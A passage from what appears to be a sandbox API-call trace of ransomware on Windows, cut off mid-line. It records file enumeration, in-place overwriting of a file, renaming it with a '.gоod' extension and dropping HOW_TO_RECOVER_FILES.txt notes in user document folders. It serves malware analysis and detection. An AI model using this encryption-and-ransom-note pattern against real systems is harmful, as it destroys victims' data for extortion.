ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.101] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0250.101] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.101] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0250.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0250.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0250.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0250.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x2c [0250.102] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0250.102] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.102] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0250.102] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0250.102] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0250.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0250.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0250.102] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0250.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0250.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x37fef88 | out: lpFileInformation=0x37fef88*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6)) returned 1 [0250.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0250.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0250.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0250.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.104] GetFileType (hFile=0x858) returned 0x1 [0250.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0250.104] GetFileType (hFile=0x858) returned 0x1 [0250.104] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0250.104] ReadFile (in: hFile=0x858, lpBuffer=0x37ff350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x37ff350*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0250.109] CloseHandle (hObject=0x858) returned 1 [0250.109] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0250.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0250.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.109] GetFileType (hFile=0x858) returned 0x1 [0250.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0250.109] GetFileType (hFile=0x858) returned 0x1 [0250.110] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x74e6 [0250.110] WriteFile (in: hFile=0x858, lpBuffer=0x38005c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x38005c0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0250.111] CloseHandle (hObject=0x858) returned 1 [0250.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0250.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0250.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.111] GetFileType (hFile=0x858) returned 0x1 [0250.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0250.111] GetFileType (hFile=0x858) returned 0x1 [0250.111] ReadFile (in: hFile=0x858, lpBuffer=0x3802858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3802858*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0250.140] CloseHandle (hObject=0x858) returned 1 [0250.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0250.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0250.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.140] GetFileType (hFile=0x858) returned 0x1 [0250.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0250.140] GetFileType (hFile=0x858) returned 0x1 [0250.140] WriteFile (in: hFile=0x858, lpBuffer=0x38015d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x38015d8*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0250.140] CloseHandle (hObject=0x858) returned 1 [0250.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x37 [0250.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.gоod", lpFilePart=0x0) returned 0x3c [0250.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0250.140] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x914e0e1b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x74f6)) returned 1 [0250.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0250.141] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico.gоod")) returned 1 [0250.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0250.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0250.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0250.557] GetFileType (hFile=0x768) returned 0x1 [0250.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0250.557] GetFileType (hFile=0x768) returned 0x1 [0250.558] WriteFile (in: hFile=0x768, lpBuffer=0x3a4f9e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3a4f9e0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0250.878] CloseHandle (hObject=0x768) returned 1 [0250.963] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0250.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0250.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0251.002] GetFileType (hFile=0x768) returned 0x1 [0251.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0251.002] GetFileType (hFile=0x768) returned 0x1 [0251.003] WriteFile (in: hFile=0x768, lpBuffer=0x39ba268*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x39ba268*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0251.003] CloseHandle (hObject=0x768) returned 1 [0251.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0251.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH", lpFilePart=0x0) returned 0x1e [0251.003] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0251.004] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.004] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd11a97d0, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xf0f72dc0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xf0f72dc0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0OFs--oaeV2", cAlternateFileName="0OFS--~1")) returned 1 [0251.004] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedfe8240, ftCreationTime.dwHighDateTime=0x1d4ca6e, ftLastAccessTime.dwLowDateTime=0x7f2b9570, ftLastAccessTime.dwHighDateTime=0x1d4c5cc, ftLastWriteTime.dwLowDateTime=0x7f2b9570, ftLastWriteTime.dwHighDateTime=0x1d4c5cc, nFileSizeHigh=0x0, nFileSizeLow=0x172dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="QdxHn0Gyh5zjK5v9SFf.ods", cAlternateFileName="QDXHN0~1.ODS")) returned 1 [0251.004] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58654be0, ftCreationTime.dwHighDateTime=0x1d4c9ee, ftLastAccessTime.dwLowDateTime=0x791d3430, ftLastAccessTime.dwHighDateTime=0x1d4c75d, ftLastWriteTime.dwLowDateTime=0x791d3430, ftLastWriteTime.dwHighDateTime=0x1d4c75d, nFileSizeHigh=0x0, nFileSizeLow=0x2572, dwReserved0=0x0, dwReserved1=0x0, cFileName="wjzAtR4buPv.xls", cAlternateFileName="WJZATR~1.XLS")) returned 1 [0251.004] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xCICo7SMe0lr9Se", cAlternateFileName="XCICO7~1")) returned 1 [0251.004] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xCICo7SMe0lr9Se", cAlternateFileName="XCICO7~1")) returned 0 [0251.005] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0251.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0251.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0251.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0251.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH", lpFilePart=0x0) returned 0x1e [0251.005] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0251.005] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.005] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd11a97d0, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xf0f72dc0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xf0f72dc0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0OFs--oaeV2", cAlternateFileName="0OFS--~1")) returned 1 [0251.005] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedfe8240, ftCreationTime.dwHighDateTime=0x1d4ca6e, ftLastAccessTime.dwLowDateTime=0x7f2b9570, ftLastAccessTime.dwHighDateTime=0x1d4c5cc, ftLastWriteTime.dwLowDateTime=0x7f2b9570, ftLastWriteTime.dwHighDateTime=0x1d4c5cc, nFileSizeHigh=0x0, nFileSizeLow=0x172dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="QdxHn0Gyh5zjK5v9SFf.ods", cAlternateFileName="QDXHN0~1.ODS")) returned 1 [0251.006] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58654be0, ftCreationTime.dwHighDateTime=0x1d4c9ee, ftLastAccessTime.dwLowDateTime=0x791d3430, ftLastAccessTime.dwHighDateTime=0x1d4c75d, ftLastWriteTime.dwLowDateTime=0x791d3430, ftLastWriteTime.dwHighDateTime=0x1d4c75d, nFileSizeHigh=0x0, nFileSizeLow=0x2572, dwReserved0=0x0, dwReserved1=0x0, cFileName="wjzAtR4buPv.xls", cAlternateFileName="WJZATR~1.XLS")) returned 1 [0251.006] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87864810, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0xdc750e30, ftLastAccessTime.dwHighDateTime=0x1d4cf4c, ftLastWriteTime.dwLowDateTime=0xdc750e30, ftLastWriteTime.dwHighDateTime=0x1d4cf4c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xCICo7SMe0lr9Se", cAlternateFileName="XCICO7~1")) returned 1 [0251.006] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.006] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0251.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0251.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0251.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", lpFilePart=0x0) returned 0x36 [0251.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0251.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), fInfoLevelId=0x0, lpFileInformation=0x39cbac0 | out: lpFileInformation=0x39cbac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedfe8240, ftCreationTime.dwHighDateTime=0x1d4ca6e, ftLastAccessTime.dwLowDateTime=0x7f2b9570, ftLastAccessTime.dwHighDateTime=0x1d4c5cc, ftLastWriteTime.dwLowDateTime=0x7f2b9570, ftLastWriteTime.dwHighDateTime=0x1d4c5cc, nFileSizeHigh=0x0, nFileSizeLow=0x172dd)) returned 1 [0251.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0251.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", lpFilePart=0x0) returned 0x36 [0251.006] SetThreadErrorMode (dwNewMode=0x1, 